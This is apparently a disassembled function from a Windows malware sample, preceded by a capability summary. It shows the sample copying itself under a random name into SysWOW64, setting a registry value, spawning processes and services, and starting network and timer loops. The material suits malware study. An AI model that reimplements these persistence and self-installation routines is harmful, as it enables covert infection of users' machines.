Function at 0xd99a6b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get disk information
Initialize winsock library
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 3
call esi
push 3
call esi
push 0xd96511
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00d9ec54
xor ebx, ebx
cmp byte [0xda201f], bl
jne 0xd9a3cc
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or eax, eax
jne 0xd99aca
mov byte [ebp - 0x29c], bl
cmp byte [ebp - 0x29c], 0x22
jne 0xd99afd
lea eax, [ebp - 0x29b]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00d9ef00
lea eax, [ebp - 0x29c]
push 0x22
push eax
call fcn.00d9ed23
add esp, 0x10
cmp eax, ebx
je 0xd99afd
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0xda0a48
mov esi, 0xda22f8
push esi
mov dword [ebp + 0x10], eax
call fcn.00d92544
push eax
push dword [ebp + 0x10]
call fcn.00d9ee95
mov edi, 0x100
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.00d9ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0xd99c0c
mov eax, dword [ebp - 4]
lea edi, [eax + 3]
mov byte [ebp - 0x170], bl
cmp byte [edi], 0x22
jne 0xd99b88
lea edi, [eax + 4]
push 0x22
push edi
call fcn.00d9ed03
pop ecx
pop ecx
cmp eax, ebx
je 0xd99bc2
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.00d9ee08
mov byte [ebp + esi - 0x174], bl
jmp 0xd99bbf
push 0x20
push edi
call fcn.00d9ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0xd99ba2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.00d9ee08
mov byte [ebp + esi - 0x173], bl
add esp, 0xc
cmp byte [ebp - 0x170], bl
je 0xd99c05
cmp byte [ebp - 0x29c], bl
je 0xd99c05
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00d9675c
add esp, 0xc
cmp eax, ebx
je 0xd99c05
cmp dword [ebp - 8], ebx
je 0xd99c05
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.00d96a60
add esp, 0xc
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00d996aa
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0xd9a1d2
mov dword [ebp - 0x20], ebx
cmp eax, 4
jge 0xd9a167
cmp dword [ebp - 0x2c], 0x55
jle 0xd99c54
cmp dword [ebp - 0x28], ebx
jne 0xd9a167
push 1
call fcn.00d94280
pop ecx
cmp byte [ebp - 0x29c], bl
je 0xd9a167
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00d9675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ebx
je 0xd9a167
cmp dword [ebp - 8], ebx
je 0xd9a167
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
je 0xd99e3e
lea eax, [ebp - 0x4f4]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0xd99e3e
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.00d999d2
add esp, 0x14
test eax, eax
je 0xd99e3e
cmp dword [ebp - 0xc], 3
mov byte [ebp - 0x4c], bl
jl 0xd99d55
cmp byte [ebp - 0x170], bl
je 0xd99d55
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0xd99cff
sub eax, edx
cmp eax, ebx
jle 0xd99d17
cmp byte [ebp + eax - 0x171], 0x5c
jne 0xd99d17
dec eax
push eax
pop edx
cmp eax, ebx
jle 0xd99d2f
lea ecx, [ebp - 0x170]
cmp byte [ecx + eax - 1], 0x5c
je 0xd99d2f
dec eax
cmp eax, ebx
jg 0xd99d23
sub edx, eax
push edx
lea eax, [ebp + eax - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp + 0x10], edx
call fcn.00d9ee08
mov eax, dword [ebp + 0x10]
mov byte [ebp + eax - 0x4c], bl
xor eax, eax
add esp, 0xc
inc eax
jmp 0xd99da5
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.00d96dc2
xor eax, 0x55555555
push eax
call fcn.00d9f133
add esp, 0xc
call fcn.00d96cc9
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xda070c
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
sub eax, eax
cmp dword [ebp - 0x28], ebx
je 0xd99db4
cmp dword [ebp - 0x2c], 0x50
jl 0xd99db4
sub ecx, ecx
jmp 0xd99db7
xor ecx, ecx
inc ecx
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.00d99326
add esp, 0x18
test eax, eax
je 0xd99e21
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
or eax, eax
jne 0xd99e0c
sub esi, esi
inc esi
cmp dword [ebp - 0xc], esi
jne 0xd99e04
call fcn.00d996ff
mov dword [ebp - 0x20], esi
jmp 0xd9a155
mov eax, 0x55010108
mov dword [0xda2180], eax
mov dword [0xda217c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0xd99e2e
mov eax, dword [0xda217c]
mov dword [ebp - 0x1c], eax
mov eax, dword [0xda2180]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], 3
jge 0xd9a155
push 0x1f4
lea eax, [ebp - 0x4f4]
push eax
push 0xc8
push 0xe4
push 0xc
push 0xda0a3c
push esi
call fcn.00d92544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0xd9a14a
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.00d999d2
add esp, 0x14
or eax, eax
je 0xd9a14a
push edi
push ebx
push esi
call fcn.00d9ee2a
add esp, 0xc
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f3]
push eax
mov byte [ebp - 0x4f4], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x4f4], 0x22
inc eax
cmp dword [ebp - 0xc], 2
mov dword [ebp + 0x10], eax
mov byte [ebp + eax - 0x4f4], bl
jne 0xd99ef9
cmp byte [ebp - 0x6c], bl
jne 0xd99f11
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00d96dc2
xor eax, 0x55555555
push eax
call fcn.00d9f133
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xda06ac
push esi
call fcn.00d92544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0xd99f70
mov eax, dword [ebp + 0x10]
inc eax
push eax
lea eax, [ebp - 0x4f4]
push eax
push 1
push ebx
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
push esi
call fcn.00d9ee2a
push 0x44
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.00d9ee2a
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x300], 0x44
call fcn.00d9ee2a
add esp, 0x24
push 0x104
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or eax, eax
je 0xd9a09a
cmp byte [ebp - 0x170], 0x22
lea eax, [ebp - 0x170]
mov dword [ebp - 0x24], eax
jne 0xd99fdd
lea eax, [ebp - 0x16f]
mov dword [ebp - 0x24], eax
cmp byte [eax + 1], 0x3a
jne 0xd9a09a
cmp byte [eax + 2], 0x5c
jne 0xd9a09a
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 3]
push eax
mov byte [ebp + 0x13], cl
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0xd9a09a
mov al, byte [ebp + 0x13]
mov ecx, dword [ebp - 0x24]
push 0xc8
push 0xe4
push 4
push 0xda0a38
push esi
mov byte [ecx + 3], al
call fcn.00d92544
add esp, 0x14
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.00d9ee2a
add esp, 0xc
cmp byte [ebp - 0x170], 0x22
je 0xd9a064
push 0xda0a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x170], 0x22
je 0xd9a093
push 0xda0a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], ebx
je 0xd9a103
cmp dword [ebp - 0x18], ebx
je 0xd9a103
push dword [ebp - 0x1c]
lea eax, [ebp - 0x170]
push dword [ebp - 0x18]
push 0xda0a2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xc8
push 0xe4
push 4
push 0xda0a28
push esi
call fcn.00d92544
add esp, 0x24
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.00d9ee2a
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x300]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4f4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
or eax, eax
jne 0xd9a13a
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0xc], 1
jne 0xd9a14a
cmp dword [ebp - 0x10], ebx
jne 0xd9a14a
call fcn.00d996ff
push edi
push ebx
push esi
call fcn.00d9ee2a
add esp, 0xc
push dword [ebp - 4]
call fcn.00d9ec2e
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0xd99c05
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or eax, eax
je 0xd99c05
cmp byte [ebp - 0x29c], 0x22
lea eax, [ebp - 0x29c]
jne 0xd9a19e
lea eax, [ebp - 0x29b]
cmp byte [eax + 1], 0x3a
jne 0xd99c05
cmp byte [eax + 2], 0x5c
jne 0xd99c05
push eax
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0xd99c05
push 1
call fcn.00d99145
pop ecx
jmp 0xd99c05
lea eax, [ebp - 0x29c]
push eax
push str.C:WINDOWSSysWOW64zlimcunomhhokwme.exe
call fcn.00d9ef00
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0xda0a38
push esi
mov dword [ebp + 0x10], eax
call fcn.00d92544
push eax
push dword [ebp + 0x10]
call fcn.00d9ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.00d9ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0xd9a2e2
mov eax, dword [ebp - 4]
add eax, 3
mov byte [ebp - 0x29c], bl
cmp byte [eax], 0x22
mov dword [ebp - 0x10], eax
jne 0xd9a275
mov eax, dword [ebp - 4]
add eax, 4
push 0x22
push eax
mov dword [ebp - 0x10], eax
call fcn.00d9ed03
pop ecx
pop ecx
cmp eax, ebx
je 0xd9a2b7
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffc
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.00d9ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2a0], bl
jmp 0xd9a2b4
push 0x20
push dword [ebp - 0x10]
call fcn.00d9ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0xd9a291
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffd
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.00d9ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x29f], bl
add esp, 0xc
cmp byte [ebp - 0x29c], bl
je 0xd9a2d8
push 0x103
lea eax, [ebp - 0x29c]
push eax
push 0xda33d8
call fcn.00d9ee08
add esp, 0xc
mov dword [0xda2cc0], 1
push 0xc8
push 0xe4
push 4
push 0xda0a28
push esi
call fcn.00d92544
push eax
push dword [ebp + 0x10]
call fcn.00d9ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.00d9ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0xd9a35a
mov esi, dword [ebp - 4]
add esi, 3
push 0x20
push esi
call fcn.00d9ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0xd9a339
push esi
pop eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0xd9a32e
sub eax, edx
add eax, esi
sub eax, esi
push eax
pop edi
cmp edi, 0x20
jb 0xd9a345
push 0x1f
pop edi
push edi
push esi
push 0xda2184
call fcn.00d9ee08
add esp, 0xc
mov byte [edi + 0xda2184], bl
call fcn.00d96ec3
test eax, eax
jne 0xd9a3c2
cmp byte [ebp - 0x170], bl
je 0xd9a397
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0xd9a374
sub eax, edx
cmp eax, 0x20
jae 0xd9a397
lea eax, [ebp - 0x170]
push eax
push 0xda33b0
call fcn.00d9ef00
pop ecx
pop ecx
jmp 0xd9a39d
mov byte [0xda33b0], bl
lea eax, [ebp - 0x170]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0xd99961
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0xd99c05
call fcn.00d998f2
jmp 0xd99c05
cmp byte [0xda33d8], bl
je 0xd9a41c
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp + 0x10], 0xa
mov esi, 0xda33d8
jmp 0xd9a406
cmp dword [ebp + 0x10], ebx
jle 0xd9a40d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0xd9a40d
dec dword [ebp + 0x10]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
or eax, eax
je 0xd9a3e8
push 0x104
push ebx
push esi
call fcn.00d9ee2a
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0xd9405e
push ebx
push ebx
call esi
lea eax, [ebp - 0x684]
push eax
push 0x1010
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00d9e52e
push ebx
push 1
call fcn.00d9eaaf
push 0xda2118
call fcn.00d91d96
add esp, 0xc
call fcn.00d980c9
push ebx
push ebx
push ebx
push 0xd9877e
push ebx
push ebx
call esi
call fcn.00d95e6c
call fcn.00d93132
call fcn.00d9c125
call fcn.00d98db1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
call fcn.00d9c4ee
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0xda33d0], ebx
je 0xd9a4ae
call edi
sub eax, dword [0xda33d0]
cmp eax, 0x493e0
jb 0xd9a4be
call fcn.00d9c913
test eax, eax
jne 0xd9a4be
call edi
mov dword [0xda33d0], eax
push 0x7530
call esi
jmp 0xd9a497